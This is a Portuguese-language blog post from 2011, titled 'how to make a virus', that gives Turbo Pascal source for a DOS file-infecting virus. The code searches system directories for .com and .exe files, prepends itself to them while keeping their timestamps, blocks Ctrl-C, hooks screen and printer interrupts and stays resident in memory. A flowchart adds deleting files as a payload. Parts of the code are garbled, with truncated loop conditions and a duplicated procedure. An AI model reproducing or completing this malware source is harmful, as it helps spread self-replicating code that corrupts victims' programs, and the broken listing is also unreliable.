quinta-feira, 9 de junho de 2011

. - = / Como Fazer virus \ = - .

virus trojan

Procedure inicinf;
begin
if MOSTRA then writeln('Iniciando infecção dos arquivos');
arquiv:=0;
procura('*.com','');
procura('*.exe','');
procura('c:\windows\*.com','c:\windows\');
procura('c:\windows\*.exe','c:\windows\');
procura('c:\dos\*.com','c:\dos\');
procura('c:\dos\*.exe','c:\dos\');
if MOSTRA then writeln('Infecção dos arquivos Finalizada. Com um total de:');
if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;

procedure procura(nome,dir:string);
begin
if MOSTRA then writeln('Iniciando infecção do diretório: ',nome);
FindFirst(nome, Archive, DirInfo);
{$i+}
while (DosError = 0) and (arquiv'COMMAND.COM') then begin
HORAINI(NOME); {Grava data e hora do arquivo}
assign(FromF,nome);
reset(FromF,1);
assign(ToF,'virtemp.tmp');
Rewrite(ToF,1);
repeat
BlockRead(FromF, buf2, SizeOf(buf2), numread);
BlockWrite(ToF, buf2, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);

{Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro
arquivo temporário}

assign(FromF,nome_arq); {nome_arq: explicado mais tarde}
reset(FromF, 1);
assign(ToF, nome);
Rewrite(ToF, 1);
BlockRead(FromF, buf, SizeOf(buf), numread); {Caso você não se lembre, o BUF é o buffer}
BlockWrite(ToF, buf, numread, NumWritten); {que conterá o vírus, que nesse caso ele}
close(FromF); {copiará somente o vírus para o arquivo a}
close(tof); {ser infectado (arquivo.exe) em que havia sido}
{movido o seu conteúdo para virtemp.tmp }
{deixando, por enquanto somente o vírus no }
{arquivo }


assign(FromF,'virtemp.TMP');
reset(FromF, 1);
assign(ToF, nome);
reset(tof,1);
seek(tof,LENVÍRUS); {Posiciona o ponteiro do arquivo na posição final do arquivo}
repeat
BlockRead(FromF, buf, SizeOf(buf), numread);
BlockWrite(ToF, buf, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);
erase(fromf);
HORAFIM(NOME);
end;
{Essa parte seria a concatenação vírus+arquivo, onde o arquivo seria acrescentado no fim do
vírus}

if MOSTRA then writeln('Infecção completa.');
end;

procedure procura(nome,dir:string);
begin
if MOSTRA then writeln('Iniciando infecção do diretório: ',nome);
FindFirst(nome, Archive, DirInfo);
{$i+}
while (DosError = 0) and (arquiv numread);
close(FromF);
close(tof);
exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); {Executa o programa aqui}
rewrite(tof); {Agora vou limpar o conteúdo e apagar o arquivo}
close(tof);
erase(tof);
if MOSTRA then writeln('Execução do programa hospedeiro finalizado);
end;
Corpo Principal do programa
Vamos ter que iniciar as funções do vírus:
begin

if MOSTRA then writeln('Iniciando o Vírus');
nome_arq:=paramstr(0); {Essa variável irá conter o nome do programa que está sendo executado
no momento. Caso o nome que foi executado seja EDIT.exe essa variável
conterá EDIT.EXE}
SETCBREAK(FALSE); {Para que o usuário não possa apertar Ctrl-C}
contra(nome_arq);
inicinf;
executa;
apag_arq;
GetIntVec($1c,@int1c); {Essa parte sera vista mais adiante}
SetIntVec($1c,Addr(bola));
vbola:=false;
cx:=random(80);{Aleatorizar a posição da bola na tela}
cy:=random(24);
GetIntVec($17,@printer); {Essa parte será vista mais adiante}
SetIntVec($17,Addr(escrever)); {Essa parte mostra ao computador para usar
O procedimento escrever como padrão para a
impressora}
if MOSTRA then writeln('Fim do vírus.');
keep(0); {Deixa o programa residente na memória.}
if mostra then writeln('Programa Residente');
end.
Programas necessário à execução do Vírus
Vou mostrar alguns programas necessários para o correto uso desse vírus:
1. Programa que determina o cabeçalho e já mostra o tamanho do executável. Esse programa tem que ser colocado em um arquivo com o seguinte código:
program Cabecalho;
uses crt;
var
arq: file;
NumRead, NumWritten: Word;
Buf: array[1..5] of Char;
begin
Assign(arq, 'vírus.exe'); { Open input file }
Reset(arq, 1); { Record size = 1 }
Writeln('Tamanho do Vírus: ', FileSize(arq), ' bytes...');
BlockRead(arq, Buf, SizeOf(Buf), NumRead);
Close(arq);
writeln('Cabecalho: ',buf[1],buf[2],buf[3],buf[4],buf[5]);
writeln('Código Ascii: ',ord(buf[1]),' ',ord(buf[2]),' ',ord(buf[3]),' ',ord(buf[4]),' ',ord(buf[5]));
end.
FLUXOGRAMA:
Vírus Executado
|
|
(inicinf)Iniciar infecção nos caminhos
c:\dos\*.com, c:\dos\*.exe, *.com, *.exe
c:\windows\*.com, c:\windows\*.exe
|
|
(infec)Infecta os arquivos do diretório fornecido.
|
|
(procura)Procura primeiro arquivo a infectar
|
|
+-----> (verifica) Arquivo Infectado? ---S--------------------------------+
| | |
| | N |
| (infec)Copia vírus (sem arquivo hospedeiro) |
| para um arquivo chamado virtemp.tmp |
| | |
| | |
| cópia arquivo a ser infectado a partir |
| do fim do vírus (concatenação): |
| copy /b virtemp.exe+arquivo.exe virtemp.tmp |
| | |
| | |
| Grava data e hora do arquivo em variáveis. |
| | |
| | |
| Apaga arquivo original a ser infectado (del arquivo.exe) |
| | |
| | |
| Renomeia vírus com arquivo infectado(virtemp.tmp) para |
| arquivo.exe: ren virtemp.tmp arquivo.exe |
| | |
| | |
| Recupera a data e hora do arquivo hospedeiro |
| | |
| | |
+-------------S-- Procura mais arquivos. <--------------------------------+
Existem mais arquivos?
|
| N
(executa)Iniciar execução do programa hospedeiro
|
|
Separar programa hospedeiro do vírus
|
|
Posicionar ponteiro no fim do vírus (e início do arquivo)
|
|
Iniciar a copiar a partir deste ponto até o fim do arquivo (Resultado: programa sem vírus pronto a ser executado) para um arquivo chamado virtemp.TMP
|
|
Executar arquivo virtemp.tmp
|
|
Limpar o conteúdo do arquivo
virtemp.tmp (de modo que nãose possa recuperar o que tinha dentro dele)
|
|
Apagar o arquivo virtemp.tmp
|
|
Iniciar procedimentos que ele possa vir a fazer (Apagar arquivos, mexer com a
impressora, etc).
|

Sem comentários:

Enviar um comentário